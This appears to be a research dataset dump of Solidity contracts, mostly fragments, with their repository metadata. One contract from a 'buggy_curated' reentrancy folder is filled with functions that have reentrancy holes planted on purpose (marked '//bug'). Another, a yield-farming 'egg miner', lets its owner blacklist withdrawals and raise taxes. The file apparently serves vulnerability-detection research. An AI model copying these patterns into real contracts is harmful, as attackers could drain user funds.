emit Transfer(user, address(0), _value);
emit Burn(user, _value);
return true;
}
function updateMintingPriceData(address gameContractAddress, uint256 _mintingBasePrice, uint256 _mintingPriceIncrementer) public onlyOwner returns(string){
mintingBasePrice[gameContractAddress] = _mintingBasePrice;
mintingPriceIncrementer[gameContractAddress] = _mintingPriceIncrementer;
return "done";
}
//this function called by voucher dividend contract to update the mintingBasePrice
function changeMintingBasePriceWhileDivDistro() public returns(bool){
require(msg.sender == voucherDividendContract, 'Invalid caller');
uint256 totalGameContracts = whitelistCallerArray.length;
for(uint i=0; i < totalGameContracts; i++){
mintingBasePrice[whitelistCallerArray[i]] += mintingPriceIncrementer[whitelistCallerArray[i]];
}
return true;
}
function lengthOfwhiteListCaller() public view returns (uint256 _lengthOfWLC)
{
_lengthOfWLC = whitelistCallerArray.length;
return _lengthOfWLC;
}
function freezeAccount(address target, bool freeze) onlyOwner public returns (string) {
frozenAccount[target] = freeze;
emit FrozenAccounts(target, freeze);
return "Wallet updated successfully";
}
function addWhitelistGameAddress(address _newAddress) public onlyOwner returns(string){
require(!whitelistCaller[_newAddress], 'No same Address again');
whitelistCaller[_newAddress] = true;
whitelistCallerArray.push(_newAddress);
whitelistCallerArrayIndex[_newAddress] = whitelistCallerArray.length - 1;
mintingBasePrice[_newAddress] = 100; //starting 100 trx to mint 1 voucher
mintingPriceIncrementer[_newAddress] = 1;
return "Whitelisting Address added";
}
function removeWhitelistGameAddress(address _address) public onlyOwner returns(string){
require(_address != address(0), 'Invalid Address');
require(whitelistCaller[_address], 'This Address does not exist');
whitelistCaller[_address] = false;
uint256 arrayIndex = whitelistCallerArrayIndex[_address];
address lastElement = whitelistCallerArray[whitelistCallerArray.length - 1];
whitelistCallerArray[arrayIndex] = lastElement;
whitelistCallerArrayIndex[lastElement] = arrayIndex;
whitelistCallerArray.length--;
return "Whitelisting Address removed";
}
function manualWithdrawTokens(uint256 tokenAmount) public onlyOwner returns(string){
// no need for overflow checking as that will be done in transfer function
_transfer(address(this), owner, tokenAmount);
return "Tokens withdrawn to owner wallet";
}
function changeSafeguardTokenMovement() onlyOwner public returns(string) {
if (safeguardTokenMovement == false){
safeguardTokenMovement = true;
}
else{
safeguardTokenMovement = false;
}
return "safeguardTokenMovement status changed";
}
function changeGlobalHalt() onlyOwner public returns(string) {
if (globalHalt == false){
globalHalt = true;
safeguardTokenMovement = true;
}
else{
globalHalt = false;
safeguardTokenMovement = false;
}
return "globalHalt status changed";
}
function totalTRXbalanceContract() public view returns(uint256){
return address(this).balance;
}
function updateDiamondExchangeRate(uint256 diamondExchangeRate_) public onlyOwner returns(string){
diamondExchangeRate = diamondExchangeRate_;
return "diamondExchangeRate updated successfully";
}
function updateContracts(address sharesContract, address diamondContract, address vaultContract, address voucherDividendContract_, address topiaDividendCotractAddress) public onlyOwner returns(string){
sharesContractAddress = sharesContract;
diamondVouchersContractAddress = diamondContract;
topiaVaultGameContract = vaultContract;
voucherDividendContract = voucherDividendContract_;
topiaDividendCotractAddress = topiaDividendCotractAddress;
return "All contract addresses updated successfully";
}
}
| 302,457 | 12,413 |
4745c8d488084c7e7004857903e3b82e68753a5bf6379bc97061277bc0f2f6ec
| 13,367 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
experiments/ge-sc-data/source_code/reentrancy/buggy_curated/buggy_7.sol
| 3,886 | 13,206 |
pragma solidity ^0.5.8;
contract Ownable
{
mapping(address => uint) balances_re_ent21;
function withdraw_balances_re_ent21 () public {
(bool success,)= msg.sender.call.value(balances_re_ent21[msg.sender ])("");
if (success)
balances_re_ent21[msg.sender] = 0;
}
bool private stopped;
mapping(address => uint) userBalance_re_ent12;
function withdrawBalance_re_ent12() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if(! (msg.sender.send(userBalance_re_ent12[msg.sender]))){
revert();
}
userBalance_re_ent12[msg.sender] = 0;
}
address private _owner;
mapping(address => uint) redeemableEther_re_ent11;
function claimReward_re_ent11() public {
// ensure there is a reward to give
require(redeemableEther_re_ent11[msg.sender] > 0);
uint transferValue_re_ent11 = redeemableEther_re_ent11[msg.sender];
msg.sender.transfer(transferValue_re_ent11); //bug
redeemableEther_re_ent11[msg.sender] = 0;
}
address private _master;
mapping(address => uint) balances_re_ent36;
function withdraw_balances_re_ent36 () public {
if (msg.sender.send(balances_re_ent36[msg.sender ]))
balances_re_ent36[msg.sender] = 0;
}
event Stopped();
uint256 counter_re_ent35 =0;
function callme_re_ent35() public{
require(counter_re_ent35<=5);
if(! (msg.sender.send(10 ether))){
revert();
}
counter_re_ent35 += 1;
}
event Started();
mapping(address => uint) userBalance_re_ent40;
function withdrawBalance_re_ent40() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)=msg.sender.call.value(userBalance_re_ent40[msg.sender])("");
if(! success){
revert();
}
userBalance_re_ent40[msg.sender] = 0;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
mapping(address => uint) userBalance_re_ent33;
function withdrawBalance_re_ent33() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent33[msg.sender])("");
if(! success){
revert();
}
userBalance_re_ent33[msg.sender] = 0;
}
event MasterRoleTransferred(address indexed previousMaster, address indexed newMaster);
constructor () internal
{
stopped = false;
_owner = msg.sender;
_master = msg.sender;
emit OwnershipTransferred(address(0), _owner);
emit MasterRoleTransferred(address(0), _master);
}
uint256 counter_re_ent42 =0;
function callme_re_ent42() public{
require(counter_re_ent42<=5);
if(! (msg.sender.send(10 ether))){
revert();
}
counter_re_ent42 += 1;
}
function owner() public view returns (address)
{
return _owner;
}
address payable lastPlayer_re_ent2;
uint jackpot_re_ent2;
function buyTicket_re_ent2() public{
if (!(lastPlayer_re_ent2.send(jackpot_re_ent2)))
revert();
lastPlayer_re_ent2 = msg.sender;
jackpot_re_ent2 = address(this).balance;
}
function master() public view returns (address)
{
return _master;
}
mapping(address => uint) balances_re_ent17;
function withdrawFunds_re_ent17 (uint256 _weiToWithdraw) public {
require(balances_re_ent17[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)=msg.sender.call.value(_weiToWithdraw)("");
require(success); //bug
balances_re_ent17[msg.sender] -= _weiToWithdraw;
}
modifier onlyOwner()
{
require(isOwner());
_;
}
modifier onlyMaster()
{
require(isMaster() || isOwner());
_;
}
modifier onlyWhenNotStopped()
{
require(!isStopped());
_;
}
function isOwner() public view returns (bool)
{
return msg.sender == _owner;
}
address payable lastPlayer_re_ent37;
uint jackpot_re_ent37;
function buyTicket_re_ent37() public{
if (!(lastPlayer_re_ent37.send(jackpot_re_ent37)))
revert();
lastPlayer_re_ent37 = msg.sender;
jackpot_re_ent37 = address(this).balance;
}
function isMaster() public view returns (bool)
{
return msg.sender == _master;
}
mapping(address => uint) balances_re_ent3;
function withdrawFunds_re_ent3 (uint256 _weiToWithdraw) public {
require(balances_re_ent3[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
(bool success,)= msg.sender.call.value(_weiToWithdraw)("");
require(success); //bug
balances_re_ent3[msg.sender] -= _weiToWithdraw;
}
function transferOwnership(address newOwner) external onlyOwner
{
_transferOwnership(newOwner);
}
address payable lastPlayer_re_ent9;
uint jackpot_re_ent9;
function buyTicket_re_ent9() public{
(bool success,) = lastPlayer_re_ent9.call.value(jackpot_re_ent9)("");
if (!success)
revert();
lastPlayer_re_ent9 = msg.sender;
jackpot_re_ent9 = address(this).balance;
}
function transferMasterRole(address newMaster) external onlyOwner
{
_transferMasterRole(newMaster);
}
mapping(address => uint) redeemableEther_re_ent25;
function claimReward_re_ent25() public {
// ensure there is a reward to give
require(redeemableEther_re_ent25[msg.sender] > 0);
uint transferValue_re_ent25 = redeemableEther_re_ent25[msg.sender];
msg.sender.transfer(transferValue_re_ent25); //bug
redeemableEther_re_ent25[msg.sender] = 0;
}
function isStopped() public view returns (bool)
{
return stopped;
}
mapping(address => uint) userBalance_re_ent19;
function withdrawBalance_re_ent19() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
if(! (msg.sender.send(userBalance_re_ent19[msg.sender]))){
revert();
}
userBalance_re_ent19[msg.sender] = 0;
}
function stop() public onlyOwner
{
_stop();
}
mapping(address => uint) userBalance_re_ent26;
function withdrawBalance_re_ent26() public{
// send userBalance[msg.sender] ethers to msg.sender
// if mgs.sender is a contract, it will call its fallback function
(bool success,)= msg.sender.call.value(userBalance_re_ent26[msg.sender])("");
if(! success){
revert();
}
userBalance_re_ent26[msg.sender] = 0;
}
function start() public onlyOwner
{
_start();
}
bool not_called_re_ent20 = true;
function bug_re_ent20() public{
require(not_called_re_ent20);
if(! (msg.sender.send(1 ether))){
revert();
}
not_called_re_ent20 = false;
}
function _transferOwnership(address newOwner) internal
{
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
mapping(address => uint) redeemableEther_re_ent32;
function claimReward_re_ent32() public {
// ensure there is a reward to give
require(redeemableEther_re_ent32[msg.sender] > 0);
uint transferValue_re_ent32 = redeemableEther_re_ent32[msg.sender];
msg.sender.transfer(transferValue_re_ent32); //bug
redeemableEther_re_ent32[msg.sender] = 0;
}
function _transferMasterRole(address newMaster) internal
{
require(newMaster != address(0));
emit MasterRoleTransferred(_master, newMaster);
_master = newMaster;
}
mapping(address => uint) balances_re_ent38;
function withdrawFunds_re_ent38 (uint256 _weiToWithdraw) public {
require(balances_re_ent38[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent38[msg.sender] -= _weiToWithdraw;
}
function _stop() internal
{
emit Stopped();
stopped = true;
}
mapping(address => uint) redeemableEther_re_ent4;
function claimReward_re_ent4() public {
// ensure there is a reward to give
require(redeemableEther_re_ent4[msg.sender] > 0);
uint transferValue_re_ent4 = redeemableEther_re_ent4[msg.sender];
msg.sender.transfer(transferValue_re_ent4); //bug
redeemableEther_re_ent4[msg.sender] = 0;
}
function _start() internal
{
emit Started();
stopped = false;
}
uint256 counter_re_ent7 =0;
function callme_re_ent7() public{
require(counter_re_ent7<=5);
if(! (msg.sender.send(10 ether))){
revert();
}
counter_re_ent7 += 1;
}
}
contract AccountWallet is Ownable
{
mapping(address => uint) balances_re_ent1;
function withdraw_balances_re_ent1 () public {
(bool success,) =msg.sender.call.value(balances_re_ent1[msg.sender ])("");
if (success)
balances_re_ent1[msg.sender] = 0;
}
mapping(string => string) private btc;
bool not_called_re_ent41 = true;
function bug_re_ent41() public{
require(not_called_re_ent41);
if(! (msg.sender.send(1 ether))){
revert();
}
not_called_re_ent41 = false;
}
mapping(string => address) private eth;
bool not_called_re_ent27 = true;
function bug_re_ent27() public{
require(not_called_re_ent27);
if(! (msg.sender.send(1 ether))){
revert();
}
not_called_re_ent27 = false;
}
event SetAddress(string account, string btcAddress, address ethAddress);
mapping(address => uint) balances_re_ent31;
function withdrawFunds_re_ent31 (uint256 _weiToWithdraw) public {
require(balances_re_ent31[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(msg.sender.send(_weiToWithdraw)); //bug
balances_re_ent31[msg.sender] -= _weiToWithdraw;
}
event UpdateAddress(string from, string to);
bool not_called_re_ent13 = true;
function bug_re_ent13() public{
require(not_called_re_ent13);
(bool success,)=msg.sender.call.value(1 ether)("");
if(! success){
revert();
}
not_called_re_ent13 = false;
}
event DeleteAddress(string account);
function version() external pure returns(string memory)
{
return '1.0.0';
}
address payable lastPlayer_re_ent23;
uint jackpot_re_ent23;
function buyTicket_re_ent23() public{
if (!(lastPlayer_re_ent23.send(jackpot_re_ent23)))
revert();
lastPlayer_re_ent23 = msg.sender;
jackpot_re_ent23 = address(this).balance;
}
function getAddress(string calldata account) external view returns (string memory, address)
{
return (btc[account], eth[account]);
}
uint256 counter_re_ent14 =0;
function callme_re_ent14() public{
require(counter_re_ent14<=5);
if(! (msg.sender.send(10 ether))){
revert();
}
counter_re_ent14 += 1;
}
function setAddress(string calldata account, string calldata btcAddress, address ethAddress) external onlyMaster onlyWhenNotStopped
{
require(bytes(account).length > 0);
btc[account] = btcAddress;
eth[account] = ethAddress;
emit SetAddress(account, btcAddress, ethAddress);
}
address payable lastPlayer_re_ent30;
uint jackpot_re_ent30;
function buyTicket_re_ent30() public{
if (!(lastPlayer_re_ent30.send(jackpot_re_ent30)))
revert();
lastPlayer_re_ent30 = msg.sender;
jackpot_re_ent30 = address(this).balance;
}
function updateAccount(string calldata from, string calldata to) external onlyMaster onlyWhenNotStopped
{
require(bytes(from).length > 0);
require(bytes(to).length > 0);
btc[to] = btc[from];
eth[to] = eth[from];
btc[from] = '';
eth[from] = address(0);
emit UpdateAddress(from, to);
}
mapping(address => uint) balances_re_ent8;
function withdraw_balances_re_ent8 () public {
(bool success,) = msg.sender.call.value(balances_re_ent8[msg.sender ])("");
if (success)
balances_re_ent8[msg.sender] = 0;
}
function deleteAccount(string calldata account) external onlyMaster onlyWhenNotStopped
{
require(bytes(account).length > 0);
btc[account] = '';
eth[account] = address(0);
emit DeleteAddress(account);
}
mapping(address => uint) redeemableEther_re_ent39;
function claimReward_re_ent39() public {
// ensure there is a reward to give
require(redeemableEther_re_ent39[msg.sender] > 0);
uint transferValue_re_ent39 = redeemableEther_re_ent39[msg.sender];
msg.sender.transfer(transferValue_re_ent39); //bug
redeemableEther_re_ent39[msg.sender] = 0;
}
}
| 132,864 | 12,414 |
1388611df01b7de3af76097495401e20fde4e129075f5fdd26a7aefe3d81505a
| 19,255 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/91/91f1f7b6eb543a8d2524bdb430b74fa0abae35cc_StableFinance.sol
| 5,012 | 16,465 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
interface IToken {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract StableFinance {
using SafeMath for uint256;
IToken public token_USDC;
address erctoken = 0x04068DA6C83AFCFA0e13ba15A6696662335D5B75; // USDC Mainnet
uint256 public EGGS_TO_HIRE_1MINERS = 1440000;
uint256 public PERCENTS_DIVIDER = 1000;
uint256 public REFERRAL = 100;
uint256 public TAX = 50;
uint256 public MARKET_EGGS_DIVISOR = 5;
uint256 public MARKET_EGGS_DIVISOR_SELL = 2;
uint256 public MIN_INVEST_LIMIT = 0;
uint256 public WALLET_DEPOSIT_LIMIT = 10000 * 1e18;
uint256 public COMPOUND_BONUS = 20;
uint256 public COMPOUND_BONUS_MAX_TIMES = 10;
uint256 public COMPOUND_STEP = 12 * 60 * 60;
uint256 public WITHDRAWAL_TAX = 800;
uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 10; // compound days, for no tax withdrawal. 10 Times
uint256 public totalStaked;
uint256 public totalDeposits;
uint256 public totalCompound;
uint256 public totalRefBonus;
uint256 public totalWithdrawn;
uint256 public marketEggs;
uint256 PSN = 10000;
uint256 PSNH = 5000;
bool public contractStarted;
bool public blacklistActive = true;
mapping(address => bool) public Blacklisted;
uint256 public CUTOFF_STEP = 48 * 60 * 60;
uint256 public WITHDRAW_COOLDOWN = 4 * 60 * 60;
address public owner;
address public fee1;
address public dev1;
struct User {
uint256 initialDeposit;
uint256 userDeposit;
uint256 miners;
uint256 claimedEggs;
uint256 lastHatch;
address referrer;
uint256 referralsCount;
uint256 referralEggRewards;
uint256 totalWithdrawn;
uint256 dailyCompoundBonus;
uint256 farmerCompoundCount; //added to monitor farmer consecutive compound without cap
uint256 lastWithdrawTime;
}
mapping(address => User) public users;
constructor(address _fee1, address _dev1) {
require(!isContract(_fee1) && !isContract(_dev1));
owner = msg.sender;
fee1 = _fee1;
dev1 = _dev1;
token_USDC = IToken(erctoken);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function setblacklistActive(bool isActive) public{
require(msg.sender == owner, "Admin use only.");
blacklistActive = isActive;
}
function blackListWallet(address Wallet, bool isBlacklisted) public{
require(msg.sender == owner, "Admin use only.");
Blacklisted[Wallet] = isBlacklisted;
}
function blackMultipleWallets(address[] calldata Wallet, bool isBlacklisted) public{
require(msg.sender == owner, "Admin use only.");
for(uint256 i = 0; i < Wallet.length; i++) {
Blacklisted[Wallet[i]] = isBlacklisted;
}
}
function checkIfBlacklisted(address Wallet) public view returns(bool blacklisted){
require(msg.sender == owner, "Admin use only.");
blacklisted = Blacklisted[Wallet];
}
function hatchEggs(bool isCompound) public {
User storage user = users[msg.sender];
require(contractStarted, "Contract not yet Started.");
uint256 eggsUsed = getMyEggs();
uint256 eggsForCompound = eggsUsed;
if(isCompound) {
uint256 dailyCompoundBonus = getDailyCompoundBonus(msg.sender, eggsForCompound);
eggsForCompound = eggsForCompound.add(dailyCompoundBonus);
uint256 eggsUsedValue = calculateEggSell(eggsForCompound);
user.userDeposit = user.userDeposit.add(eggsUsedValue);
totalCompound = totalCompound.add(eggsUsedValue);
}
if(block.timestamp.sub(user.lastHatch) >= COMPOUND_STEP) {
if(user.dailyCompoundBonus < COMPOUND_BONUS_MAX_TIMES) {
user.dailyCompoundBonus = user.dailyCompoundBonus.add(1);
}
//add compoundCount for monitoring purposes.
user.farmerCompoundCount = user.farmerCompoundCount.add(1);
}
user.miners = user.miners.add(eggsForCompound.div(EGGS_TO_HIRE_1MINERS));
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(eggsUsed.div(MARKET_EGGS_DIVISOR));
}
function sellEggs() public{
require(contractStarted, "Contract not yet Started.");
if (blacklistActive) {
require(!Blacklisted[msg.sender], "Address is blacklisted.");
}
User storage user = users[msg.sender];
uint256 hasEggs = getMyEggs();
uint256 eggValue = calculateEggSell(hasEggs);
if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){
//daily compound bonus count will not reset and eggValue will be deducted with 60% feedback tax.
eggValue = eggValue.sub(eggValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER));
}else{
//set daily compound bonus count to 0 and eggValue will remain without deductions
user.dailyCompoundBonus = 0;
user.farmerCompoundCount = 0;
}
user.lastWithdrawTime = block.timestamp;
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(hasEggs.div(MARKET_EGGS_DIVISOR_SELL));
if(getBalance() < eggValue) {
eggValue = getBalance();
}
uint256 eggsPayout = eggValue.sub(payFees(eggValue));
token_USDC.transfer(msg.sender, eggsPayout);
user.totalWithdrawn = user.totalWithdrawn.add(eggsPayout);
totalWithdrawn = totalWithdrawn.add(eggsPayout);
}
function buyEggs(address ref, uint256 amount) public{
require(contractStarted, "Contract not yet Started.");
User storage user = users[msg.sender];
require(amount >= MIN_INVEST_LIMIT, "Minimum investment not met.");
require(user.initialDeposit.add(amount) <= WALLET_DEPOSIT_LIMIT, "Max deposit limit reached.");
token_USDC.transferFrom(address(msg.sender), address(this), amount);
uint256 eggsBought = calculateEggBuy(amount, getBalance().sub(amount));
user.userDeposit = user.userDeposit.add(amount);
user.initialDeposit = user.initialDeposit.add(amount);
user.claimedEggs = user.claimedEggs.add(eggsBought);
if (user.referrer == address(0)) {
if (ref != msg.sender) {
user.referrer = ref;
}
address upline1 = user.referrer;
if (upline1 != address(0)) {
users[upline1].referralsCount = users[upline1].referralsCount.add(1);
}
}
if (user.referrer != address(0)) {
address upline = user.referrer;
if (upline != address(0)) {
uint256 refRewards = amount.mul(REFERRAL).div(PERCENTS_DIVIDER);
token_USDC.transfer(upline, refRewards);
users[upline].referralEggRewards = users[upline].referralEggRewards.add(refRewards);
totalRefBonus = totalRefBonus.add(refRewards);
}
}
uint256 eggsPayout = payFees(amount);
totalStaked = totalStaked.add(amount.sub(eggsPayout));
totalDeposits = totalDeposits.add(1);
hatchEggs(false);
}
function payFees(uint256 eggValue) internal returns(uint256){
uint256 tax = eggValue.mul(TAX).div(PERCENTS_DIVIDER).div(5);
token_USDC.transfer(fee1, tax.mul(3));
token_USDC.transfer(dev1, tax.mul(2));
return tax.mul(5);
}
function getDailyCompoundBonus(address _adr, uint256 amount) public view returns(uint256){
if(users[_adr].dailyCompoundBonus == 0) {
return 0;
} else {
uint256 totalBonus = users[_adr].dailyCompoundBonus.mul(COMPOUND_BONUS);
uint256 result = amount.mul(totalBonus).div(PERCENTS_DIVIDER);
return result;
}
}
function getUserInfo(address _adr) public view returns(uint256 _initialDeposit, uint256 _userDeposit, uint256 _miners,
uint256 _claimedEggs, uint256 _lastHatch, address _referrer, uint256 _referrals,
uint256 _totalWithdrawn, uint256 _referralEggRewards, uint256 _dailyCompoundBonus, uint256 _farmerCompoundCount, uint256 _lastWithdrawTime) {
_initialDeposit = users[_adr].initialDeposit;
_userDeposit = users[_adr].userDeposit;
_miners = users[_adr].miners;
_claimedEggs = users[_adr].claimedEggs;
_lastHatch = users[_adr].lastHatch;
_referrer = users[_adr].referrer;
_referrals = users[_adr].referralsCount;
_totalWithdrawn = users[_adr].totalWithdrawn;
_referralEggRewards = users[_adr].referralEggRewards;
_dailyCompoundBonus = users[_adr].dailyCompoundBonus;
_farmerCompoundCount = users[_adr].farmerCompoundCount;
_lastWithdrawTime = users[_adr].lastWithdrawTime;
}
function initialize(uint256 amount) public{
if (!contractStarted) {
if (msg.sender == owner) {
require(marketEggs == 0);
contractStarted = true;
marketEggs = 144000000000;
buyEggs(msg.sender, amount);
} else revert("Contract not yet started.");
}
}
function getBalance() public view returns (uint256) {
return token_USDC.balanceOf(address(this));
}
function getTimeStamp() public view returns (uint256) {
return block.timestamp;
}
function getAvailableEarnings(address _adr) public view returns(uint256) {
uint256 userEggs = users[_adr].claimedEggs.add(getEggsSinceLastHatch(_adr));
return calculateEggSell(userEggs);
}
function calculateTrade(uint256 rt,uint256 rs, uint256 bs) public view returns(uint256){
return SafeMath.div(SafeMath.mul(PSN, bs), SafeMath.add(PSNH, SafeMath.div(SafeMath.add(SafeMath.mul(PSN, rs), SafeMath.mul(PSNH, rt)), rt)));
}
function calculateEggSell(uint256 eggs) public view returns(uint256){
return calculateTrade(eggs, marketEggs, getBalance());
}
function calculateEggBuy(uint256 eth,uint256 contractBalance) public view returns(uint256){
return calculateTrade(eth, contractBalance, marketEggs);
}
function calculateEggBuySimple(uint256 eth) public view returns(uint256){
return calculateEggBuy(eth, getBalance());
}
function getEggsYield(uint256 amount) public view returns(uint256,uint256) {
uint256 eggsAmount = calculateEggBuy(amount , getBalance().add(amount).sub(amount));
uint256 miners = eggsAmount.div(EGGS_TO_HIRE_1MINERS);
uint256 day = 1 days;
uint256 eggsPerDay = day.mul(miners);
uint256 earningsPerDay = calculateEggSellForYield(eggsPerDay, amount);
return(miners, earningsPerDay);
}
function calculateEggSellForYield(uint256 eggs,uint256 amount) public view returns(uint256){
return calculateTrade(eggs,marketEggs, getBalance().add(amount));
}
function getSiteInfo() public view returns (uint256 _totalStaked, uint256 _totalDeposits, uint256 _totalCompound, uint256 _totalRefBonus) {
return (totalStaked, totalDeposits, totalCompound, totalRefBonus);
}
function getMyMiners() public view returns(uint256){
return users[msg.sender].miners;
}
function getMyEggs() public view returns(uint256){
return users[msg.sender].claimedEggs.add(getEggsSinceLastHatch(msg.sender));
}
function getEggsSinceLastHatch(address adr) public view returns(uint256){
uint256 secondsSinceLastHatch = block.timestamp.sub(users[adr].lastHatch);
uint256 cutoffTime = min(secondsSinceLastHatch, CUTOFF_STEP);
uint256 secondsPassed = min(EGGS_TO_HIRE_1MINERS, cutoffTime);
return secondsPassed.mul(users[adr].miners);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return a < b ? a : b;
}
function CHANGE_OWNERSHIP(address value) external {
require(msg.sender == owner, "Admin use only.");
owner = value;
}
function CHANGE_FEE1(address value) external {
require(msg.sender == owner, "Admin use only.");
fee1 = value;
}
function CHANGE_DEV1(address value) external {
require(msg.sender == owner, "Admin use only.");
dev1 = value;
}
// 2592000 - 3%, 2160000 - 4%, 1728000 - 5%, 1440000 - 6%, 1200000 - 7%, 1080000 - 8%
// 959000 - 9%, 864000 - 10%, 720000 - 12%, 575424 - 15%, 540000 - 16%, 479520 - 18%
function PRC_EGGS_TO_HIRE_1MINERS(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 479520 && value <= 2592000);
EGGS_TO_HIRE_1MINERS = value;
}
function PRC_TAX(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 100);
TAX = value;
}
function PRC_REFERRAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 120);
REFERRAL = value;
}
function PRC_MARKET_EGGS_DIVISOR(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 50);
MARKET_EGGS_DIVISOR = value;
}
function SET_WITHDRAWAL_TAX(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 900);
WITHDRAWAL_TAX = value;
}
function SET_COMPOUND_FOR_NO_TAX_WITHDRAWAL(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 12);
COMPOUND_FOR_NO_TAX_WITHDRAWAL = value;
}
function BONUS_DAILY_COMPOUND(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value >= 10 && value <= 900);
COMPOUND_BONUS = value;
}
function BONUS_DAILY_COMPOUND_BONUS_MAX_TIMES(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 30);
COMPOUND_BONUS_MAX_TIMES = value;
}
function BONUS_COMPOUND_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only.");
require(value <= 24);
COMPOUND_STEP = value * 60 * 60;
}
function SET_MIN_INVEST_LIMIT(uint256 value) external {
require(msg.sender == owner, "Admin use only");
MIN_INVEST_LIMIT = value * 1e18;
}
function SET_CUTOFF_STEP(uint256 value) external {
require(msg.sender == owner, "Admin use only");
CUTOFF_STEP = value * 60 * 60;
}
function SET_WITHDRAW_COOLDOWN(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value <= 24);
WITHDRAW_COOLDOWN = value * 60 * 60;
}
function SET_WALLET_DEPOSIT_LIMIT(uint256 value) external {
require(msg.sender == owner, "Admin use only");
require(value >= 20);
WALLET_DEPOSIT_LIMIT = value * 1e18;
}
}
| 333,483 | 12,415 |
5242f8de1b8664f7d3cd149b4725673a1d9016ac06aca3b8bbbdcdb2abf6ada7
| 14,082 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0x33d514e149ca8405ad9644d5fd2384b645abd668.sol
| 3,774 | 13,403 |
pragma solidity ^0.4.17;
contract AccessControl {
address public creatorAddress;
uint16 public totalSeraphims = 0;
mapping (address => bool) public seraphims;
bool public isMaintenanceMode = true;
modifier onlyCREATOR() {
require(msg.sender == creatorAddress);
_;
}
modifier onlySERAPHIM() {
require(seraphims[msg.sender] == true);
_;
}
modifier isContractActive {
require(!isMaintenanceMode);
_;
}
// Constructor
function AccessControl() public {
creatorAddress = msg.sender;
}
function addSERAPHIM(address _newSeraphim) onlyCREATOR public {
if (seraphims[_newSeraphim] == false) {
seraphims[_newSeraphim] = true;
totalSeraphims += 1;
}
}
function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public {
if (seraphims[_oldSeraphim] == true) {
seraphims[_oldSeraphim] = false;
totalSeraphims -= 1;
}
}
function updateMaintenanceMode(bool _isMaintaining) onlyCREATOR public {
isMaintenanceMode = _isMaintaining;
}
}
contract SafeMath {
function safeAdd(uint x, uint y) pure internal returns(uint) {
uint z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint x, uint y) pure internal returns(uint) {
assert(x >= y);
uint z = x - y;
return z;
}
function safeMult(uint x, uint y) pure internal returns(uint) {
uint z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function getRandomNumber(uint16 maxRandom, uint8 min, address privateAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(privateAddress);
return uint8(genNum % (maxRandom - min + 1)+min);
}
}
contract Enums {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_OWNER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum AngelAura {
Blue,
Yellow,
Purple,
Orange,
Red,
Green
}
}
contract IAngelCardData is AccessControl, Enums {
uint8 public totalAngelCardSeries;
uint64 public totalAngels;
// write
// angels
